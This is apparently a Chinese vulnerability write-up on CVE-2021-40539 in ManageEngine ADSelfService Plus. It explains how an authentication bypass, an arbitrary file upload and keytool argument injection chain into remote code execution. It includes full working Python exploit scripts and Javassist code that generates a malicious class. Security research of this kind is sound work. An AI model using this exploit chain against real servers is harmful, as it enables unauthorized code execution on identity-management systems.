环境搭建
https://archives2.manageengine.com/self-service-password/6113/ManageEngine_ADSelfService_Plus_64bit.exe
直接下载对应的版本然后再本地搭建
配置远程调试
修改wrapper.conf,这样即可再IDEA中调试
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import requests
def UploadRunCalc(url): uploadUrl=url+"./RestAPI/LogonCustomization" files = {'CERTIFICATE_PATH': open('Evil.class', 'rb')}
proxies={"http":None}
uploadData = { "methodToCall": "unspecified", "Save": "1", "form": "smartcard", "operation": "Add" }
r1 = requests.post(uploadUrl, data=uploadData, files=files, proxies=proxies)
runUrl=url+"./RestAPI/Connection"
runData={ "methodToCall":"openSSLTool", "action":"generateCSR", "KEY_LENGTH":'123 -providerclass "Evil" -providerpath "..\\bin"'
} r2 = requests.post(url=runUrl, data=runData,proxies=proxies)
if __name__=="__main__": url = "http://win-iobn7uhkolu:8888/" UploadRunCalc(url)
|
执行成功
分析
CVE-2021-40539实现RCE的过程由3个漏洞组成,分别是
- Restful API认证绕过
- 任意文件上传
- 命令拼接
Restful API认证绕过
查看web.xml,RestAPI对应的servlet是action
ADSFilter是一个全局过滤器
com.manageengine.ads.fw.filter.ADSFilter#doFilter
定位到对应的类
判断如果是Restful API访问,尝试提取认证信息,然后调用doSubFilters
:
com.manageengine.ads.fw.filter.ADSFilter#doSubFilters
重点在RestAPIUtil.isRestAPIRequest
com.manageengine.ads.fw.api.RestAPIUtil#isRestAPIRequest
正常访问/RestAPI/LicenseMgr
,发现没有权限
在isRestAPIRequest
中可以看到对目录访问的限制,这里只需要绕过一下正则匹配,在前面加上/.
即可
这样就能绕过
成功未授权访问
任意文件上传
在struts-config.xml
中找到对应的接口/LogoCustomization
,再定位到对应的类com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization#unspecified
com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization#unspecified
当输入的参数符合条件时,会调用addSmartCardConfig
1
| Save=1&form=smartcard&operation=Add
|
com.manageengine.ads.fw.authentication.smartcard.SmartCardAction#addSmartCardConfig
调用getFileFromRequest
com.manageengine.ads.fw.util.FileActionHandler#getFileFromRequest
上传文件
上传成功会显示404
成功上传到bin目录下
上传文件用的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
url="http://win-iobn7uhkolu:8888/./RestAPI/LogonCustomization"
files = {'CERTIFICATE_PATH': open('1.txt', 'rb')}
proxies={"http":None}
data={ "methodToCall":"unspecified", "Save":"1", "form":"smartcard", "operation":"Add" } r = requests.post(url, data=data,files=files,proxies=proxies)
|
命令注入
com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction
com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction
满足条件时进入SSLUtil.createCSR(request)
com.adventnet.sym.adsm.common.webclient.util.SSLUtil#createCSR
进入createCSR
com.adventnet.sym.adsm.common.webclient.util.SSLUtil#createCSR
调用runCommand
执行命令,参数-keysize
直接来源于KEY_LENGTH
,而KEY_LENGTH
来源于request.getParameter("KEY_LENGTH")
,这样就可以进行命令注入
主要调用了keytool.exe -genkey
,这个方法的参数如下
genkey命令有两个参数providerclass
和providerpath
,可以用来指定字节码.class文件和文件路径,然后执行字节码文件中的JAVA代码。这里跟前面的任意文件上传配合一下就可以实现RCE了,先上传一个class文件到bin目录,然后利用keytool拼接命令指定对应的参数,就可以执行上传的字节码文件。
实际上拼接进去的参数如下
1
| KEN_LENGTH=1024 -providerclass "Evil" -providerpath "C:\\ManageEngine\\ADSelfService Plus\\bin"
|
生成一个恶意class文件,然后把它上传上去,然后利用keytool命令注入执行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
public class JavassistTest { public static void main(String[] args) throws Exception {
ClassPool pool=ClassPool.getDefault(); CtClass ctClass=pool.makeClass("Evil"); String cmd="{java.lang.Runtime.getRuntime().exec(\"calc\");}";
CtConstructor ctConstructor=ctClass.makeClassInitializer(); ctConstructor.insertBefore(cmd);
ctClass.writeFile("./");
} }
|
实际执行的命令
参考
https://forum.butian.net/share/876
https://www.jianshu.com/p/a1591b2ad7cf